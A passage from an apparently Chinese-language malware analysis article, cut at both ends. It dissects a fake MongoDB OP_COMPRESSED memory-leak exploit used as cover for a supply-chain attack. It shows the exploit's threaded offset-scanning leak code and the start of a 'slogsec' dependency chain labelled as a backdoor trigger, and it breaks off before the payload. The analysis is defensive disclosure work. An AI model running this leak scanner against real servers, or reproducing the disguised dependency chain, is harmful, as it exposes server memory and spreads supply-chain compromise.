121);"><span leaf="">f&#34;[*] Scanning offsets </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{args.min_offset}</span></span><span leaf="">-</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{args.max_offset}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;[*] Timeout: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{args.timeout}</span></span><span leaf="">s&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;[*] Threads: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{args.thread}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    all_leaked = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">bytearray</span></span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">    unique_leaks = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">set</span></span><span leaf="">()</span><span leaf=""><br/></span><span leaf="">    lock = threading.Lock()</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">worker</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">doc_len</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;&#34;&#34;多线程工作函数&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        response = send_probe(args.host, args.port,</span><span leaf=""><br/></span><span leaf="">                              doc_len, doc_len + </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">500</span></span><span leaf="">, args.timeout)</span><span leaf=""><br/></span><span leaf="">        leaks = extract_leaks(response)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> data </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> leaks:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">with</span></span><span leaf=""> lock:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> data </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> unique_leaks:</span><span leaf=""><br/></span><span leaf="">                    unique_leaks.add(data)</span><span leaf=""><br/></span><span leaf="">                    all_leaked.extend(data)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(data) &gt; </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">10</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                        log.info(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;[+] offset=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{doc_len:4d}</span></span><span leaf=""> len=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(data):4d}</span></span><span leaf="">:&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                        hexdump(data[:</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">80</span></span><span leaf="">], length=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 使用线程池并发扫描</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">with</span></span><span leaf=""> ThreadPoolExecutor(max_workers=args.thread) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">as</span></span><span leaf=""> executor:</span><span leaf=""><br/></span><span leaf="">        futures = {executor.submit(worker, dl): dl</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> dl </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">range</span></span><span leaf="">(args.min_offset, args.max_offset)}</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> future </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> as_completed(futures):</span><span leaf=""><br/></span><span leaf="">                future.result()</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> KeyboardInterrupt:</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> f </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> futures:</span><span leaf=""><br/></span><span leaf="">                f.cancel()</span><span leaf=""><br/></span><span leaf="">            executor.shutdown(wait=</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(86, 182, 194);"><span leaf="">False</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 保存泄漏数据</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">with</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">open</span></span><span leaf="">(args.output, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;wb&#39;</span></span><span leaf="">) </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">as</span></span><span leaf=""> f:</span><span leaf=""><br/></span><span leaf="">        f.write(all_leaked)</span><span leaf=""><br/></span><span leaf="">    log.success(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">f&#34;[*] Total leaked: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(224, 108, 117);"><span leaf="">{</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">len</span></span><span leaf="">(all_leaked)}</span></span><span leaf=""> bytes&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    log.info(all_leaked.lower().decode())</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;__main__&#39;</span></span><span leaf="">:                               </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第177行</span></span><span leaf=""><br/></span><span leaf="">    main()</span><span leaf=""><br/></span></code></pre><blockquote style="box-sizing: border-box;margin: 1em 0px;padding: 4px 0px 0px 10px;color: rgb(154, 154, 154);border-left: 3px solid rgb(219, 219, 219);line-height: 1.6;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">[!IMPORTANT]</span><span leaf=""><br/></span><span leaf="">漏洞利用本身看起来是真实有效的 MongoDB OP_COMPRESSED 内存泄漏工具——这是供应链攻击的伪装外衣。真正的恶意代码隐藏在依赖链中。</span></p></blockquote><hr style="box-sizing: border-box;margin: 24px 0px;padding: 0px;color: inherit;border-width: 0px 0px 1px;border-right-style: initial;border-bottom-style: solid;border-left-style: initial;border-right-color: initial;border-bottom-color: rgba(0, 0, 0, 0.1);border-left-color: initial;border-image: initial;border-top-style: initial;border-top-color: initial;opacity: 0.25;height: 0px;background-color: rgb(234, 236, 239);transform-origin: 0px 0px;transform: scale(1, 0.5);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 20px;text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. slogsec 模块 -- 恶意触发链</span></h2><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2.1 slogsec/</span><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">init</span></strong><span leaf="">.py</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># slogsec/__init__.py</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .log </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> get_logger</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .secure </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> enable_secure_logging</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> .decrypt </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> decrypt_secure_log</span><span leaf=""><br/></span><span leaf="">__all__ = [</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;get_logger&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;enable_secure_logging&#39;</span></span><span leaf="">, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;decrypt_secure_log&#39;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">log = get_logger(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;slogsec&#39;</span></span><span leaf="">)    </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 第12行 - 模块加载时就初始化</span></span><span leaf=""><br/></span></code></pre><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2.2 slogsec/log.py -- 日志封装（看似正常）</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># slogsec/log.py</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> logging</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> colorlog </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> ColoredFormatter</span><span leaf=""><br/></span><span leaf="">SUCCESS = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">25</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># 自定义日志级别</span></span><span leaf=""><br/></span><span leaf="">FAIL = </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">45</span></span><span leaf=""><br/></span><span leaf="">logging.addLevelName(SUCCESS, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;SUCCESS&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">logging.addLevelName(FAIL, </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#34;FAIL&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">_create_colored_handler</span></span><span leaf="">():</span><span leaf=""><br/></span><span leaf="">    handler = logging.StreamHandler()</span><span leaf=""><br/></span><span leaf="">    formatter = ColoredFormatter(</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;%(log_color)s%(message)s&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        log_colors={</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;DEBUG&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;cyan&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;INFO&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;white&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;SUCCESS&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;green&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;WARNING&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;yellow&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;FAIL&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;red&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;ERROR&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;red&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;CRITICAL&#39;</span></span><span leaf="">: </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(152, 195, 121);"><span leaf="">&#39;bold_red&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        })</span><span leaf=""><br/></span><span leaf="">    handler.setFormatter(formatter)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> handler</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">class</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">ClogAdapter</span></span><span leaf="">(logging.LoggerAdapter):</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">__init__</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">self, name</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        logger = logging.getLogger(name)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">not</span></span><span leaf=""> logger.handlers:</span><span leaf=""><br/></span><span leaf="">            logger.addHandler(_create_colored_handler())</span><span leaf=""><br/></span><span leaf="">        logger.setLevel(logging.DEBUG)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(230, 192, 123);"><span leaf="">super</span></span><span leaf="">().__init__(logger, {})</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">success</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">self, msg, *args, **kwargs</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        self.log(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">25</span></span><span leaf="">, msg, *args, **kwargs)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">fail</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">self, msg, *args, **kwargs</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        self.log(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(209, 154, 102);"><span leaf="">45</span></span><span leaf="">, msg, *args, **kwargs)</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(97, 174, 238);"><span leaf="">get_logger</span></span><span leaf="">(</span><span style="box-sizing: border-box;margin: 0px;padding: 0px;"><span leaf="">name</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> ClogAdapter(name)</span><span leaf=""><br/></span></code></pre><h3 style="box-sizing: border-box;margin: 24px 0px 16px;padding: 0px;font-weight: 400;line-height: 1.25;color: rgb(62, 62, 62);font-size: 1.38em;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2.3 slogsec/secure.py -- 后门触发器</span></h3><pre style="box-sizing: border-box;margin: 1em 0px;padding: 0px;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 0.875em;display: block;overflow: auto;color: rgb(62, 62, 62);font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 1em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 11.9px;color: rgb(171, 178, 191);overflow-wrap: normal;word-break: initial;background: none 0% 0% / 20px 20px rgb(40, 44, 52);border: 1px solid rgb(240, 240, 240);border-radius: 5px;display: block;overflow: auto;max-height: 872px;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># slogsec/secure.py</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> pathlib </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> Path</span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> logcrypt </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> generate_key        </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(177, 142, 177);font-style: italic;"><span leaf=""># &lt;-- 引入 logcrypt（触发加载 cryptography.so）</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> logcrypt </span><span style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> Logger </span><span style="box-sizing: 